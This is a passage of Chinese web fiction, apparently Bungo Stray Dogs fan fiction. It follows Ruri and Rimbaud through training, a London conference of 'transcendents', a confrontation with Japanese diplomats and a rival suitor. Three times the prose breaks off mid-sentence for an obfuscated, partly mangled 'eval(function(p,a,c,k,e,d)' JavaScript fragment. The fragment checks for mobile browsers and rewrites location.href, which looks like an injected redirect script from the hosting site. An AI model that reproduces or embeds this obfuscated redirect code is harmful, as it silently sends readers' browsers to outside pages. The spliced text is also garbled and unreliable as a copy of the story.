我似乎领悟到了什么,但又表述不出来,便学着兰波的模样,只是将这些过到我名下的财产通知了一声,过了大约一周,便收到了许多礼物。 系统对此的点评是:【来拜码头的吧?】 【不过兰波这种强者心态你的确可以好好学习,就像是你从来都不需要怀疑天才会偷取别人的成果一样,他们的能力足以让旁人捧着大把财富送上门求他接下,而你目前的寿命与能力可以让你成为强者,但是琉璃,你没有强者的心态。】 【你需要学习,也需要锻炼自己。】 在支持我变强与希望我开心这方面,系统与兰波都是一样的,在这方面,系统从来都不会认为兰波做的多,系统只会认为兰波做的太少。 我看看衣帽间已经装不下的这些礼物,最后对过来询问我如何办的女仆问:“隔壁的房间是做什么的?” 女仆想了想,而后道:“这一层除了您与超越者大人的房间外,其余都是空着的。” 我看着面前这些礼物,想了想方才说:“那就将隔壁整理出来变成我的衣帽间好了……太繁琐的首饰跟衣物都放到隔壁的衣帽间,这里只留下轻便的衣物。” 女仆微微躬身表示知晓,我也低头查看起中也询问我明天魏尔伦和兰波要一起出门执行任务,自己能不能过来这边的消息。 我一个电话打了过去,中也很快便接了起来。 将电话放到免提,我翻着公社那边送过来的需要治疗的任务,嘴上询问中也:“不是说这次任务在丹麦,三天就回来吗?” 中也清亮的声音从手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079702|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里响起:“魏尔伦大哥说为了防止我随便使用异能力,让我跟你一起训练,我自己其实在哪里都是一样的。” 我心下了然,手上将自己觉得报酬满意的任务接下,嘴上不忘一心二用回复中也:“那你今天跟魏尔伦直接过来就好了,明天兰波他们离开,你跟我一起训练就好。” 中也是个很乖的孩子,从前在镭钵街那样的地方都有良好的三观与道德底线,如今被好好教养更是一个小绅士,最重要的是中也并不是什么让人头痛的熊孩子,所以我还是很喜欢中也的。 中也爽快答应下来,而后又小声问我:“所以为什么我不能随便使用异能力啊?” 我有些惊讶:“魏尔伦没跟你说过吗?” 中也困惑道:“没有啊,魏尔伦只跟我说如果经常使用对身体发育不好,其它的什么都没说过。” 我想了想,用一句话成功让中也被压着不需使用异能力而蠢蠢欲动的心平复:“中也跟魏尔伦的异能力都跟重力有关,而中也你还太小,如果经常使用异能力,以后大概连一米七都够不到了吧。” 知道一切的系统没吭声,心里却点了个赞。 待中也哀嚎一声礼貌挂了电话后,我几乎能想象到魏尔伦那边此时有多热闹。 兰波将头发低低扎着,见我笑得眼泪都出来了,便好奇道:“怎么了?笑得这么厉害?” 我将前因后果告知兰波后,兰波眼中也多了几分笑意:“保罗大概没想到这么多吧?不过有中也在,保罗那边我反倒不担心了。” 由于兰波跟魏尔伦的关系,所以我跟中也在来到法国后联系也没有断过,甚至跟魏尔伦也慢慢熟络起来。 不过比起兰波,旁人对我而言只是稍微熟悉的陌生人,不熟的陌生人,没见过的人三种区别。 至于朋友……嗯……我对朋友的定义也是一般人够不到的。 在魏尔伦跟兰波执行任务时,中也想起横滨那些照顾过自己的人时,转头询问我,而我则给出了上面的答案。 中也穿着短袖,见我如此说,便好奇凑过来:“琉璃姐对朋友的定义是什么呢?” 我见中也好奇,也没隐瞒,毕竟这种事情也没有什么好隐瞒的。 “朋友,在我心里的定义就是相识最少五年以上并且即便我不选择联系也会主动联系我,经常会跟我见面并且能在我失落时安慰我的存在……”我见中也惊讶,轻轻拍了拍他的头,歪歪头笑道:“兰波例外。” 兰波是所有人之中的例外。 中也满脸惊讶,跟在我的后面追着问:“那琉璃姐把我跟魏尔伦定义成了什么呢?朋友还是陌生人呢?” 中也满满的都是好奇,我牵着中也的手,轻声说:“兰波的搭档、亲友,还有兰波亲友家里的孩子。” 如果没有兰波,这些人我都不会接触,我只会选择一个风景优美人口稀少的地方静静等待支线任务完成,去往下个世界。 “那琉璃姐没有朋友吗?”中也好奇道。 “没有哦。”我坦然道:“毕竟大家都会喜欢跟更能带给自己情绪价值的人在一起,但我需要一个人向我走出一百零一步,我才会选择拥抱对方……” 中也没听懂,但直觉告诉他这个走出一百零一步的人就是兰波。 就是琉璃姐的爱人,也是将自己带到法国与亲人相认的好心人。 是的,在来到法国后中也终于知晓,琉璃跟兰波并不是什么兄妹,而是伴侣。 我并没有关心中也在想什么,与中也到了训练场后,便各自开始训练起来。 虽然兰波没在,但也只是这几天没在而已,而且有些事情嘴上说归说,但该怎么做还是不能省略。 就像系统说的一样,我不甘心在见过异世界的风光之后停留在一处守着一个人,即便那个人是兰波,也不行。 但是既然下定决心要前往其他世界,那身手就一定要锻炼出来才行,毕竟系统跟我都不能控制下一个前往的世界,既然如此,我就不能在这方面懈怠。 17.日常 论体术天赋,我并不是最顶尖的,但是我的能力就像是作弊一样,只要我付出了努力与汗水,就能明显察觉身体的变化。 对此,系统认为我太片面了。 毕竟…… 【没关就是开了吗?不要随便造谣!】 我当作听不见系统的话,训练结束后让莉诺女士将中也送回房间后,方才回房询问系统:【最近能力有变化吗?】 如果有变化,我也需要及时对暂定的计划进行调整。 系统否认:【我个统认为,如果没有巨大变化,在这个世界我们应该见不到能力有什么变动……如果有的话,我会及时告知你的。】 系统很少叫我琉璃,这个世上也只有我跟系统还记得我的名字,但我们两个却都不愿意让这个名字被他人知晓。 即便是兰波。 所以名字,也成了我与系统之间不必言说的默契。 我主动舍弃了自己的名字,以琉璃为名,这也是我为自己选择的崭新未来。 我将创造全新的记忆,掩盖过去的疼痛。 尤其是我那刚刚还完房贷还没来得及欣赏就因为被系统误绑而没有机会再见的房子,和我喂了很久才终于跟我亲近起来的小流浪。 更是让我每每想起便痛上加痛。 而系统对此则开始有了底气:【亲亲,你要不要看看你现在住的是什么?!是超大占地的庄园啊!你在嫌弃什么啊!那个男鬼听见你这么说会哭出来的!】 我吹了个口哨全当没有听见,毕竟一个人的时候悄悄emo一下怎么了,我也只是个普通人而已。 系统的冷笑被我当成背景音,理都不理,毕竟平时兰波在的时候它嘲讽兰波也不是一次两次,面对我只偶尔冷哼两句已经算是态度温和了。 我想兰波了,没有了兰波在身边,我总觉得心里空落落的。 又过了四日,我方才见到兰波回来。 他穿着黑色风衣,围着暗红色格纹围巾,手里似乎拎着什么,脚步轻快朝我走来。 我被兰波抱起,他抱着我转了一圈,而后方才将我放下,将手里拎着的盒子放到我身边。 我正要询问兰波这次任务有没有受伤,便见中也身边突然多出个人,再细看,方才发觉自己刚刚好像一直忽略了魏尔伦的存在。 魏尔伦静静注视着兰波与琉璃的举动,而后缓缓看向身旁的弟弟,思考自己要不要也给中也一个拥抱。 在中也拒绝后,魏尔伦方才收起这个想法,转而看向兰波身旁坐着的少女。 都是自己的亲人,中也不需要,那估计是因为性别不同,那妹妹…… 我看向魏尔伦,他那被赞誉为北欧神明一般俊美的面容之上是僵硬的笑意,他眼中原本的冰冷如今似乎多了些什么,他在看着我。 兰波似是无意般打断了我与魏尔伦的注视,他轻轻握着我的手,与我说着丹麦的风光如何。 “丹麦的超越者能力十分有趣,只是带到你面前便只是寻常之物……”兰波有些遗憾,“这次前去只为你带了一枚胸针,之后会议上我再为你介绍其他超越者。” 什么?将琉璃介绍给其他人? 喝了多少?怎么就做起美梦来了?在兰波心里,自己的妹妹,琉璃永远都是第一位,旁人都是要靠后站的,怎么可能出现那种将琉璃介绍给其他人的事。 而且,就兰波个人来说,他其实并不希望将那些优秀的超越者介绍给琉璃,让琉璃知晓,毕竟嘴上如何说,那是嘴上的事,如果真的让兰波看见妹妹和其他人亲近,无论男女,兰波大概都只会杀了那个引诱自己妹妹的家伙,然后将妹妹带回安全的家安慰因为看破那个家伙真面目而伤心的妹妹。 当然,自己看不到,那就是另一码事了,毕竟自己的妹妹可是早晚会成为超越者的存在,身边有两个宠物怎么了。 开放又保守的兰波如此想。 我听了兰波的话,当即便将盒子拆开,见其中是一枚镶嵌着暗红宝石的枫叶胸针,一眼便喜欢上了,中也凑过来后,想了半天方才说:“这不就是兰波他异能力的颜色吗?” 兰波若无其事道:“因为觉得很合适,所以就买下来了。” 我也帮着兰波说话:“正好前两天刚送来一件西装,下次跟兰波出门就用那件西装搭配胸针好了。” 魏尔伦想了想,鼓掌赞叹道:“这大概就是人类常说的感情深厚了吧?” 一时间众叛亲离的中原中也总觉得哪里不对,但又说不出来,只能困惑的坐在一边静静思考到底是自己的错觉还是对方的问题。 送走了魏尔伦与兰波后,我方才绕着兰波打量了一圈,啧啧称奇:“这次装的不好哦,中也都看出来啦。” 虽然我对你时不时就要变成男鬼没什么意见啦,但是外人面前你多少还是装一装啊。 兰波也举手称是,我见兰波半点反驳的话都不说,反倒失了兴趣,询问兰波那位丹麦的超越者能力是什么。 兰波摇摇头,“各国超越者的能力都有所隐藏,除了小部分在他人面前出现过的能力外,其他大都只能进行猜测。” 当然,丹麦那位超越者兰波还是很熟悉的,不过那位超越者的能力比起攻击,更偏向于辅助。 将自己所知晓的信息与琉璃说过后,兰波方才长叹道:“这是我们相遇后第一次分离这么长时间……” “我很想你,琉璃。”兰波静静的注视着我,他眼中饱含的情绪,浓烈的让我只要看见,就觉得自己整个人都好像被无形的、聚拢的情绪所填满,而我就宛若一个不知满足的空洞一样,不断吞噬着这些情感。 我轻轻抚摸着兰波的脸庞,叹道:“短暂的分离只是为了更为长久的相伴,但……” “我也很想你,兰波。” 于我于他,分离都是难以接受的,让人抗拒的事,但也正是因为如此,我才越发珍惜现在的相伴。 因为我的离开,是不可避免的。 但我总希望我可以走的晚一点,再晚一点。 * 会议定在了六月十日,而在复职后只勤快了一个月的兰波秉持法国人一如既往的秉性,掐着点在前一天到达了会议举办地。 由于这个世界英国的强势,所以会议举办地最终定在了伦敦。 “伦敦的泰晤士河也是十分值得被相机记录的风景。”我与兰波远远看着晚霞之下的泰晤士河。 橙红的霞光洒落在河面,柔和微风惊起层层波澜,随着霞光退散,两岸城市亮起的灯火让原本的河面只剩星点般散碎的银光。 “我从前在花国读书,收到友人邮寄的照片……”我说起那人,忍不住笑起来:“她十分喜欢前往各地欣赏风景,知名的风景几乎被她跑了个遍,伦敦的泰晤士河就是其中一个被她邮寄来的风景。” 兰波静静听着身旁少女的话,心里思索是哪位朋友,自己竟然不知。 看来需要重新调查一下妹妹的人际关系了,不然妹妹提到自己却不知道怎么能行。 男鬼兰波静静的看着身旁的爱人,眼中的温和压不过心中的偏执。 我看着泰晤士河周边的建筑,轻笑道:“她最喜欢说的就是做的就是将一切被她所喜爱的人、事、物记录在相机之中,按照她的话,那就是‘时光会带走一切鲜艳美好的存在,但是我可以短暂的记录它们,将我眼中的一切与他人分享’。” 我想起那位友人,便不禁笑道:“是个很有趣的人,偶尔会突然发癫,说什么自己死了还有我能为她宣扬她曾经做过的事,说过的那些话,只要她还活在旁人口中,就永远不算消失什么的……” 兰波颔首,“后来呢?” 后来? 我看见魏尔伦带着中也,一大一小都穿着修身西装的模样,一句话结束了这个话题。 “她因为一场意外去世了,骨灰按照她的遗言随风进入了海中,她说自己希望能去人类不可踏及的深海之中看看。” 我没再说她如何,而是牵着兰波的手走向魏尔伦与中也。 中也是个很活泼的好孩子,如果用寻常世俗意义来判定,兰波属于守序中立,偶尔转变到中立邪恶的立场,魏尔伦属于中立邪恶,但在兰波与中也双重影响下面对无辜的人大部分情况为中立善良,那中也就是绝对的中立善良。 就像我,是绝对的混乱中立一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084264|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 中也挥挥手,对我们问好,我与兰波同样温和与中也打招呼。 魏尔伦与中也跟随巴黎公社的超越者们前往伦敦,而我与兰波则是在波德莱尔催促后方才慢悠悠欣赏着风景到了伦敦。 前后相差大约十日左右。 明天,便是会议开始的时候了。 中也兴冲冲与我说:“伦敦那些自称钟塔侍从的家伙就像是书里面说的傲慢古板贵族一样,说话都有一种与咱们不同的感觉。” 中也身边没有女性长辈,似乎是将我当成了姐姐一类的角色,平时有什么话不好跟魏尔伦说的,便会与我说,我也不介意解答一部分来自中也的困惑。 慢慢的,我们两个关系倒是不错。 听了中也的话,我心中也勾勒出一部分关于英国超越者模糊的形象。 不过中也是个直觉系,如果中也如此说,那大概就是因为这些英国超越者的确有意无意展现出了一部分类似的特质。 我想放开兰波的手,兰波却轻轻牵着我,困惑看向我,我看看我的另一只手,拿着兰波自花店买的一小束百合,再看看兰波看似轻柔实则强硬不许我放手的模样,将花交给了兰波,而后拍了拍中也的头,“两国风俗不同,就比如我,虽然是法日混血,但却在花国长大,父母身上的特质还没有友人沾染的特质来的强。” “法国人崇尚的是自由与独立,性格热情浪漫,英国人则更为孤傲,花国人自谦……”我缓缓说着我印象中这些国家大部分人身上拥有的特质,最后定论道:“傲慢需要底气,而古板在这个剧变的时代难以坚持,至于贵族……” 我轻笑道:“其实只要超越者们想,那他们随时都能拥有一个贵族的头衔,当然了,我知道你说的贵族是什么意思。” 与他人天然带着一种屏障,看似温和实则冷漠,虽然他与你平视,但却好似高高在上一般。 “对对对!”中也连连点头,兴奋道:“就是这样!” 中也像是终于找到了同道中人一般,兴奋的厉害,围着我念叨着其他国家的超越者都是什么模样与我吐槽。 而魏尔伦与兰波对于这些超越者们则更为熟悉,聊起来时更多的也是探讨那些战败国,比如……远东。 在外面逛了一圈,看了看泰晤士河附近的景色,买了些当地的小吃尝鲜后,我们一行四人才回到了法国超越者停留的公馆内休整。 若说从前,即便是坐车坐了几个小时我也需要好好休息一两日才能缓过来,但现在就不同了。 【超进化成能力者了呢。】系统跟我开着玩笑。 最开始我其实也为系统也有喜怒哀乐也会开玩笑而震惊过,被系统吐槽过后方才知道,系统属于机械,但在系统和主系统那一方世界里,机械拥有感情与灵魂并不是什么值得让人惊讶的事,系统们甚至还可以恋爱、结婚、生子…… 这里的生子,指的是双方系统将自己的核心程序代码取出一部分,两方结合出一个新的系统。 我听到的时候只感觉自己长了知识,但系统跟我不一样,系统奉行的是独身主义,如今我们都跟主系统联系不上,更是成为了孤狼。 说实话,我觉得这个词不太好,总有一种转头就会被一群人围殴的错觉,但系统喜欢,便也随它了。 我盘腿坐在床边擦着尚在滴水的头发,兰波则在亚空间内寻找吹风机与护发精油。 论精致,我其实是不如兰波的,兰波是我刻板印象里存在的法国人,精油、香水、自由、懒散,组成了一个刻板的兰波,可实际相处后,你又能看到一个刻板印象之外,极有人情味的兰波。 执着、扭曲、温柔、细心……这些都是组成兰波本身的存在。 抛去了这些负面情绪的兰波,会是一个普世意义上的好人、善人,却也不再是我喜欢的,我印象之中的兰波。 待兰波翻出护发精油后,又拿出一条柔软的棉巾,接手了我的头发。 其实我跟兰波被分到的是两个房间,但在确定房间的床足以让我们两个睡下且绰绰有余后,兰波便愉快的搬到了我的房间,并接手了我的护肤流程。 嗯……如果我有这种东西的话。 18.困惑 次日与兰波跟在波德莱尔身后,混迹在一堆超越者之中的我左看看右看看,好像也就只有一个中也比我年纪要小,剩下其他人…… 我示意兰波低头,等兰波困惑凑过来时,小声问兰波:“除了中也,这里还有比我小的孩子吗?” 兰波连看都没看便十分肯定:“没有了哦,起码法国的超越者与超越者预备役里,只有中也比你要小。” 其他超越者只当听不见,毕竟每个年轻孩子来到这里都会困惑,这是正常的。 只有巴蒂斯特凑过来笑眯眯道:“咱们这肯定没有啦,其实各国超越者里年轻人都偏少……” 直到落座后,我们方才缓缓停下,没再继续闲聊,毕竟这种场合还是要给彼此一点面子的。 我看了一眼花国所在的队伍,而后感慨道:“如果我是个花国人,我大概就会一辈子躺平。” 波德莱尔冷笑:“然后你就成功告别了目前拥有的一切。” 波德莱尔对待所有人都没有好脸色,这是我在观察许久后才得出的结论。 听了波德莱尔这话,我便笑吟吟道:“那也没什么,不过前提是兰波还在我身边。” 我与兰波的事并未刻意隐瞒,波德莱尔自然也是知情人之一,但在这点上,他平等的批判了我与兰波。 他认为兰波对感情太过偏执,哄骗年轻女孩。 他认为我对兰波太过执拗,不应因情困滞自身。 似乎是看过了太多爱时浓烈,恨时怨怼的反面例子,波德莱尔对于我跟兰波之间始终都是不看好的,但他并不会主动说什么冷言冷语…… 我其实不太擅长面对这类存在,但这段时间接触下来却也习惯了波德莱尔偶尔随机找一个人刺上两句的模样。 巴蒂斯特在一旁看着兰波看向自己时不必言说便足以让人嫉妒的沉稳姿态,再看看黑发少女无论何时都对兰波亲昵相待的模样,最终也只是咬牙忍下。 毕竟在他悄悄挖墙角的时候,便已经知道自己可能会面对什么了。 但是! 人总要尝试一些没有尝试过的事,撞了南墙……找个梯子爬过去就好了,多大点事儿嘛。 魏尔伦在一旁注视着一切,不时点头,似是学到了什么一般。 中也自从离开横滨到了魏尔伦身边后虽长高了些,但也不足以让他看见大人们的眼神交汇,见魏尔伦这副若有所思的模样,到魏尔伦身边因为这个表情吃过亏的中也默默提防起来。 我们到的算是最晚的了,踩着点到达后,各国负责交流的外交人员便开始了对战败国的分割。 毕竟这场会议存在本身,便是战胜国的狂欢盛宴,主要内容自然要围绕着利益、国际地位重新奠定、国土划分为基础,明确战胜国与战败国的界限,并对战败国进行‘合理’的敲诈。 对于欧洲这些老牌资本主义国家而言,他们早就习惯了从各处榨取利益,只要足够狠心,石头都能被榨取出能量来,何况是一个国家呢? “割地赔款!” “划分为我国海外行省!” “签订战败国条约!” F5之中除了花国一直弃权,持保留意见之外,英法俄美四国均化作饕餮,将战败国被榨取出的利益吞吃入腹。 其中由于兰波与我的原因,波德莱尔其实询问过我是否要将横滨当成施展身手之地,但我对日本观感平平,好感更是为零,所以法国最终还是将目标放在了赔偿金上。 横滨最终归属于英国,我看向英国钟塔侍从的领头之人阿加莎,那是一位姿态优雅,身着红色长裙的金发女士,正是她刚刚作为外交人员狠狠咬下了日本身上的一块肉。 作为超越者,她是极少亲自下场的存在,但她谈判时那确定自己能达成所愿,眼中饱含野心的模样,却让我想起系统那恨铁不成钢的样子。 或许,系统并不是抗拒情爱,它只是希望我眼中能饱含野心。 我放下思绪,百无聊赖的坐在一旁把玩着兰波的手,直到会议进入尾声,大多数人已经开始自由活动,我面前方才出现一片阴影。 “藤原琉璃小姐。”说着日语的其中一人正是刚刚灰头土脸割地赔款的日本外交人员,而另一人倒是有些眼熟。 其余原本打算各做各事的超越者们也停下了脚步,开始看起了热闹。 谁不知道法国新得了两个超越者预备役,其中一位还是珍惜的治疗型异能力者,如今可算见到有人敢上去找死,他们自然要看看热闹。 是的,找死。 身为F5之一,即便法国平时看上去没有其他国家的存在感强烈,但是其地位也不是日本这么个小小的战败国能够挑衅的。 想让法国将已经收入麾下的准超越者拱手让人?还不如想想之后怎么埋葬这两个人比较靠谱。 当然啦,谁知道会不会这位小超越者就是个脑子不灵光的,舍弃法国跑到日本去呢。 我平静的看向对面站着的两人,用法语询问:“你们是?” “藤原琉璃小姐。”那位率先开口的男人依旧使用日语,眼中带着些倨傲:“您的母亲身为日本人,从前在横滨定居,想必您对日本也是……” “毫无好感呢。”我撑着脸,困惑道:“是谁给了你们勇气过来找我呢?” 我虽然从兰波那里知道,日本一直没有超越者存在,但也想不通,为什么日本会认为我会选择跟他们离开呢? 那人旁边的男人有些眼色,见我一直使用法语,便用法语温和道:“藤原小姐,您身为准超越者,无论需要什么,只要日本拥有,我们都会赠送给您,只要您与我们回到日本,成为日本的……超越者。” 波德莱尔被戳了肺管子,原本便因为会议时间过长不能中途离开而不善的脸色,这话一出更是已经定好了这两个家伙的死期。 察觉他人目光,我好奇道:“什么都可以?” 兰波半分波动都没有,毕竟兰波深知我对日本观感如何,但其他人却并不知晓,尤其是……英国的超越者们。 所以旁人大都在看笑话,尤其以英国人看的最为开心,毕竟英法旧怨一时半会儿说不清的。 两个日本人喜出望外,连连躬身:“当然,您需要什么都可以!” 我温和道:“那就让日本本岛沉没吧。” 场内一片寂静,直到对面原本一直维持微笑的男人困惑道:“您刚刚说什么?” 我毫不在意对面派了个聋子过来,笑着重复道:“我说,那就让日本本岛沉没吧!” “您在开玩笑吗?”其中一人擦了擦额头上的汗,小心翼翼道:“这不太好笑啊。” 我轻快道:“你为什么觉得我在开玩笑呢?我说的全是真心话啊,让日本本岛沉没,我就考虑考虑要不要回到日本。” “你们刚刚说,只要我点头,那无论我要什么,都会送到我手中。”我笑吟吟道:“那就让日本本岛沉没吧,告诉我时间,我会提前过去准备好设备拍下这壮观一幕的。” “如果做不到,那就证明你们也没有多诚心呀。”我冷下脸,对面也冷下脸。 不等对面开口,他们便整整齐齐变成指甲大小的碎块散落在地,再也没了开口的机会。 没人去管是哪位异能力者出了手,大家都在思考,日本,哪儿来的胆子在法国嘴里虎口夺食? 回到了会馆后,波德莱尔便悄悄消失不知去了哪儿,旁人则在吐槽我直接就让日本本岛沉没有些过分。 我虚心受教,坚决不改,心里倒是庆幸幸好中也这个孩子没有跟去,而是留在了会馆里休息。 待我与兰波回了房间后,我方才躺在床上回想起那两个日本人的神情,大笑出声。 “日本啊日本,真是一个让人看看便觉得讨厌的地方。”我言罢,又对兰波道:“如果没有兰波闯进我的生活,你猜猜我会去哪里?” 兰波十分肯定道:“花国吧,你会前往花国定居。” 兰波不愧是最了解我的人,我并未将这话说出口,但兰波好像也看出了我的意思,与我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088229|163346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一同倒在床上,轻笑:“也不知道是哪个蠢货出的主意,难不成他们以为惹怒一个大国,惹火一个超越者,只会死两个人吗?” 战争是结束了没错,但人心中的斗争可没结束,而且远东这种连超越者都没有的小地方,就算出了事又如何?战败国而已,挨打就要有挨打的样子。 我也很是不解,但我也懒得去打击日本,毕竟自己平时不忙是不忙的,但想让我浪费时间用到一个小国身上还是免了。 不至于。 最重要的是,总会有人选择为我而出头。 所以我只需要看戏就足够了。 就像是被戳了肺管子的法国一样,都被人跳到脸上了,要是还能闷不做声,那才奇怪了。 夜里,察觉兰波悄悄离开,我并没有睁眼跟踪兰波,就连系统,吐槽的都是兰波这家伙帮你报复竟然还偷偷摸摸瞒着你,而不是这家伙绝对是要出轨。 我阖眼休息,但也不忘与系统询问:【兰波到哪里了?】 【看他那个样子,似乎正在朝着日本疾行……他不会真要沉没日本岛吧?】 系统震惊了,我却十分肯定:【不会,如果一部分人死去,那就只是私人恩怨,但如果一个国家出事,那就是国与国之间的矛盾,战争刚刚结束,现在并不是可以掀起战争的时候。】 起码近几十年都不可以。 系统这才放心,等到兰波回来后,我方才轻声询问:“没做太过分的事吧?” 兰波脱下风衣,躺在我身边轻拍着我的脊背:“没有,安心睡吧,明天起来再看新闻。” 我并未怀疑,安心睡下,次日一早醒来后看见报纸上的日本天皇与数位日本官员离奇暴毙的消息时,系统方才幽幽道:【这就是你说的没有吗?】 我将报纸翻到反面,平静道:【你就说一个四面临海的岛国如果我过去掀起巨浪会发生什么。】 【对比下来,兰波其实也并没有太过分,起码没有牵涉到国与国的层面。】 今天再次来到会场后,日本那边的代表全都灰溜溜的,其中一部分有点胆子的暗中瞪着我,似乎是心里记仇的模样。 但说实话,他们完全影响不到我,所以记仇,也只是感动了彼此而已。 等到回了法国后,中也这个全程几乎就是吃喝玩乐,认识了些年轻朋友的家伙倒是轻松,嘴上还念叨着之后打算去其他风景好的地方游玩。 但我却觉得身心俱疲,懒得再出现在这种场合,在庄园里直接躺平,除了训练基本上就是在花树下闲坐。 是的,花树,之前我跟兰波共同规划的花树。 或者说,花。 我负责天马行空的设想如何才能让庄园内布满花季不同的花与花树,而兰波则负责实现这些,如果兰波做不到的…… 那就交给钞能力。 看着每天兰波都要硬性上满四个小时的班,我羡慕又不羡慕。 羡慕在从前的我没遇到这么好的工作,不羡慕在现在的我不用上班但却享受到了应有的待遇。 嗯……有得有失,可以接受。 起码对于我而言,可以接受。 在步入夏天后,炎热的夏日也让波德莱尔为我带来了新的训练菜单。 “着重于速度?”我困惑地看向波德莱尔。 波德莱尔颔首:“打不过,你总要学会跑,只要你跑得掉,就能回来带着人过去围殴对方。” 前提是速度足够快。 “追求速度,就要放弃力量,追求攻击,就要放弃防御。”波德莱尔平静道:“有所有得才是常态。” 我与系统商量过后,系统认为攻击与防御可以两全,我的鳞片足以让我横行绝大多数世界,但如果在没有能力影响情况下,我不可能既要自己拥有优越的速度,又要自己拥有碾压大多数人的力量。 力量跟肌肉是挂钩的,我想让自己二者兼得可以做到,但想让自己二者同时达到顶峰……目前的我,以及日后很长一段时间之内的我都是做不到的。 19.爱恨 和兰波在一起时,我们对时间没有概念,或者换句话来讲,有彼此陪伴,其余的便也不重要了。 在枯燥乏味的生活之中,时间的流逝便显得极为迅速,可在我与兰波彼此陪伴之下,时间的流逝却又显得好不重要。 时间的流动快或慢,并未让我与兰波投下目光,能让我们注视的,只有彼此。 当然……偶尔我们的生活之中也会多出来一些小小的插曲。 巴蒂斯特坐在兰波身边,看着对面坐着的少女怒视着自己,并不觉得难过,毕竟他在做下那个玩笑一样的决定时,便已经知道,自己之后被这对爱侣冷眼相对是必然会发生的事。 但那又如何? 身为准超越者,莫说是拥有几位情人,就是感情生活糜烂,也无人指摘。 巴蒂斯特的眼睛轻轻掠过身旁的同僚,笑吟吟看向对面高扎着马尾的少女,不知从哪儿掏出来个盒子,放在桌面上推向了少女。 我看向那个盒子,微微挑眉,不等开口询问,巴蒂斯特便道:“儒勒偶然间得来的宝石,前段时间帮了他一个忙,正巧看见,我觉得很适合你。” 我接过盒子,随意打开,并没有询问旁人的意思。 我与兰波是平等的,无论我做什么或者兰波做什么,只要不涉及我与兰波定下的隐形之线,我们就不会对彼此的任何举动有什么质疑的举动。 至于巴蒂斯特?既然将东西带到了我面前,那就是要送给我或者兰波,而究竟是为了我还是为了兰波,那并不重要。 我与兰波本就是一体的。 盒子之内被黑色绒布铺满,绒布之上是一颗大约三指大小的绿宝石。 若说宝石,其实并没有什么新奇之处,更不必说我名下还有兰波赠送的宝石矿,那些负责打理财产的人几乎隔上一段时间就要送些东西过来,不收还诚惶诚恐的,现在宝石已经成了我收藏之中的泛滥品。 巴蒂斯特不知何时凑到我身边,将那颗宝石轻轻拿起,而后轻轻晃动。 那原本幽绿的宝石在阳光照耀之下,内部却像是缓缓流动着的银色月光一般,晃得让人心醉,那一抹浅淡的银色仿佛透着浅淡的蓝,正如巴蒂斯特的眼睛一样。 我接过宝石,仔细瞧过之后,看了一眼巴蒂斯特,而后走到兰波身边询问兰波:“你觉得砸碎了让人去以唐卡的技艺为你我画一幅同框画像如何?” 唐卡是一种使用珍贵矿石、金属、植物制作天然颜料,使用白绸或棉布为画布的昂贵绘画技艺,从前专用于绘画藏教神佛,如今由于时代变化也有使用这种绘画技法来绘制景物的画师。 原本还盘算如何才能坑死巴蒂斯特的兰波听了这话,抬眼见巴蒂斯特手指都好似僵住了的模样,立即便应下:“好啊!” 转头,兰波又含笑感谢巴蒂斯特:“多谢你送来了这颗宝石,我平日里送给琉璃的,琉璃都只想拿去收藏或者做成首饰佩戴,今天倒是头一次见到琉璃起了这样的心思……也是我从前想的不够周全。” 巴蒂斯特原本还在思索是不是自己没有送到琉璃的喜好之上,还在考虑自己是不是要将先前打听到的情报重新更新一下,但听了兰波这话,巴蒂斯特方才反应过来。 与过往自己所见到的合则聚,不合则散,即便背地里养情人被发现也无所畏惧的那些人不一样。 琉璃与兰波本质上是已经融为一体的存在,他们彼此需要,彼此肯定,彼此天然排斥着他人…… 并不是琉璃喜欢宝石,所以才选择收藏宝石、佩戴宝石所制的饰品,而是因为兰波希望琉璃拥有最好的,才将手里拥有的赠予琉璃,是因为兰波赠予,琉璃才选择偏爱。 爱屋及乌? 巴蒂斯特并未泄气,毕竟这样独属于兰波的偏爱如果放到自己身上,那不是更好了吗? 我静静看着兰波与不知道脑子抽什么风的巴蒂斯特互相冷嘲热讽,坐在兰波身边与中也探讨魏尔伦的人类学习计划进行到了哪里。 中也认为魏尔伦最近似乎对人类的感情有了一种奇妙的理解,嘴里偶尔念着什么,我不是来拆散你们的,我是来加入你们的这种话。 而我面对这种情况也很难给出什么解决反感,毕竟我现在还在一个自己并不希望存在的修罗场中静静等待这位巴蒂斯特先生知难而退。 中也失望的表示自己会尽量纠正魏尔伦,但目前还有作业要完成,便下线了。 我放下手机,看着终于挤兑走巴蒂斯特的魏尔伦,叹道:“你们法国人是不是在感情上有什么独特的观念?” 